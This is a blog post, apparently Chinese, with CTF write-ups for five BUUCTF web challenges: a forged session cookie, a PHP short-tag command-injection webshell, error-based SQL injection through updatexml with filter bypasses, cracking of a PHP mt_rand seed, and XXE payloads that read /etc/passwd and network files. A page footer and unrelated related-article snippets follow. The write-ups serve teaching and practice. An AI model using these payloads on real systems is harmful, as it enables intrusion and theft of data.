BUUCTF-WEB(71-75)

news/2024/10/8 22:19:51

[watevrCTF-2019]Cookie Store

打开购买flag那个cookie抓包,有个session值得注意

image-20240608104311223

我们拿去cyberchef解密一下

image-20240608104356341

然后我们试试改一下

{"money": 200, "history": []}
eyJtb25leSI6IDIwMCwgImhpc3RvcnkiOiBbXX0=

然后发送

image-20240608105056630

响应包返回了一个session,我们解密一下就得到flag

image-20240608105050230

[红明谷CTF 2021]write_shell

打开就是源码,我们应该往里面存入数据,也就是代码,到时候访问就执行了,

image-20240608110152349

这里我们先看一下路径

?action=pwd

image-20240608110305841

sandbox/4247b8a5da98794f37ad36c75aaa5631/

然后就试着写数据,这里发现反引号没有被过滤,而且我们可以利用<?= ?>这个php短标签来写php代码,然后空格被过滤了,我们可以%09绕过一下

image-20240608120848299

所以payload:

?action=upload&data=<?=`ls%09/`?>

然后访问之前得到的路径

image-20240608120959333

然后查看flag

?action=upload&data=<?=`cat%09/f*`?>

image-20240608121106382

[RCTF2015]EasySQL

参考:

upfine的博客 (cnblogs.com)

[RCTF2015]EasySQL_[rctf2015]easysql 1-CSDN博客

先注册,登录进来,发现一个改密码的

image-20240608133205187

在这里修改密码也没有任何回显

image-20240608133743586

之后我创了一个用户名为1"的用户,再去随便改个密码,然后发现报错

image-20240608133924664

然后接下来就是开始报错注入,空格被过滤了,还有/**/因为页面没有什么回显,爆库

1"||(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20240608135515946

爆表

1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#

image-20240608135839191

爆字段(flag是在users这个表中哦)

1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')&&(table_name='users')),0x7e),1))#

image-20240608140225763

导出数据,这里由于updatexml只显示32位,所以并没有显示有用的数据

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

image-20240608140909948

然后我想尝试一下substr,mid,right,发现并不行,被过滤了,使用limit会报错,然后看大佬都说正则MySQL 正则表达式(REGEXP)_mysql regexp-CSDN博客,去找到flag所在位置,很牛逼,第一次学到,但是还只是一半

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

image-20240608142958492

flag{47ee3230-eaea-4a2a-a4b9-d3

然后又学到了这个,还需要使用reverse函数,逆序输出flag,输出后逆转一下

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

image-20240608143537005

}dc845c0dc33d-9b4a-a2a4-aeae-03

最后拼接完整的flag

flag{47ee3230-eaea-4a2a-a4b9-d33cd0c548cd}

[GWCTF 2019]枯燥的抽奖

参考:

[BUUCTF题解][GWCTF 2019]枯燥的抽奖 - Article_kelp - 博客园 (cnblogs.com)

[GWCTF 2019]枯燥的抽奖-CSDN博客

PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户

打开题目说让我猜后面的字符串

image-20240609150300804

然后F12发现了文件check.php

image-20240609150329124

然后就看到源码了

image-20240609150354693

然后了解到这个随机生成的并不是真的随机,是可以根据某些计算算出来的,这个函数是通过一个种子然后去产生一个随机数,我们只需要知道种子就可以破解这个伪随机数

PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用,但是大家都忽略了一个事实,mt_rand生成的随机数不是一个真正的随机数,而是一个伪随机数,不能应用于生成安全令牌、核心加解密key等等,所以很多知名程序都出现过对mt_rand函数的错误使用而导致的安全问题。php_mt_seed是一个破解mt_rand函数种子的工具,对它应用场景的深刻理解和应用能极大的提升漏洞发现的可能和利用的成功率。本文将详细介绍PHP mt_rand函数的安全问题及php_mt_seed应用场景。

我们后面会用到php_my_seed这个工具,我们先把已知的部分转成这个工具可以识别的格式

str1 ='EJOa9oEmi5'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''length = str(len(str2)-1)
for i in range(0,len(str1)):for j in range(0,len(str2)):if str1[i] ==  str2[j]:result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' 'breakprint(result)
40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61 

然后下载这个php_my_seed工具,记得是在linux环境下运行的,记得先编译

make time ./php_mt_seed.c 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

然后我这边没运行起来,我自己编译完又运行了一次

/php_mt_seed 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

image-20240609151654987

得到种子67026161

拿到种子,去生成完整的这个字符串

<?php
mt_srand(67026161);    //在这里填入获得的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo($str);
EJOa9oEmi5LpHzqXCixt

然后填入那个猜测的框中

image-20240609152149124

[NCTF2019]True XML cookbook

参考:[NCTF2019]True XML cookbook-CSDN博客

打开源码,发现似曾相识,直接xml注入

image-20240609152322921

那我们抓包xml注入

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152638368

查看flag(失败版本)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///flag">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152956921

看来是没有这个/flag文件,还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

file:///etc/hosts

image-20240609153221391

然后发现了两个ip

file:///proc/net/arp:

image-20240609153250685

然后尝试访问了一下,不行,然后C段扫描一下

我这里用脚本还是burp的爆破,都没有出来

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/42499.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

vue 发起get请求和post请求

一、vite方式初始化vue3项目C:\Users\Administrator>npm init vite-app his-project> npx > create-vite-app his-projectScaffolding project in C:\Users\Administrator\his-project...Done. Now run:cd his-projectnpm install (or `yarn`)npm run dev (or `yarn d…

Ventoy使用教程

Ventoy使用教程, 制作自己的启动U盘Ventoy是一款开源的USB启动盘制作工具,它允许用户将多种类型的操作系统镜像文件(如ISO、WIM、IMG等)直接拷贝到U盘,而无需反复格式化U盘。本教程将详细介绍Ventoy的使用步骤,帮助用户轻松制作USB启动盘。 一、准备工作下载Ventoy:访问V…

python-数据分析-Numpy-3、数组的运算

数组的运算 使用 NumPy 最为方便的是当需要对数组元素进行运算时,不用编写循环代码遍历每个元素,所有的运算都会自动的矢量化。简单的说就是,NumPy 中的数学运算和数学函数会自动作用于数组中的每个成员。 # -*- coding: utf-8 -*- #数组的运算 #使用 NumPy 最为方便的是当需…

Java4-6次大作业题目集总结性Blog

Java4~6次大作业题目集的总结性Blog前言知识点无疑就是要学会熟练使用LinkedLsit、ArrayList、HashMap等存储数据的数据集合,并且能够合理处理输入的数据然后使用,在类设计中也要考虑好类之间的关系,学会使用继承多态可以很好处理数据 题量不大,在于能否处理好题目,方便写…

oop前三次作业总结oop前三次作业总结

<# oop前三次作业总结oop前三次作业总结 ## 一、前言 本次的大作业是关于家庭电路设计的,总体难度较大,需要对各种类以及多态的运用熟练,在做题过程中也是遇到了诸多问题,查阅了很多资料,对面向对象的概念有了很大的提升。在这三次题目集中,7-1题目通常作为每个题目集…

彻底搞懂网络地址、广播地址、主机地址、网关、子网掩码、网络号、主机号

1 网络地址、广播地址、主机地址名词解释 1.1 网络地址网络地址是指仅包含网络号而不包含主机号的IP地址。它用于唯一标识一个网络。在网络通信中,网络地址用于路由和寻址。例如,一个IP地址为192.168.0.0,IP掩码为255.255.255.0,那么它的网络地址就是192.168.0.0。 它是指一…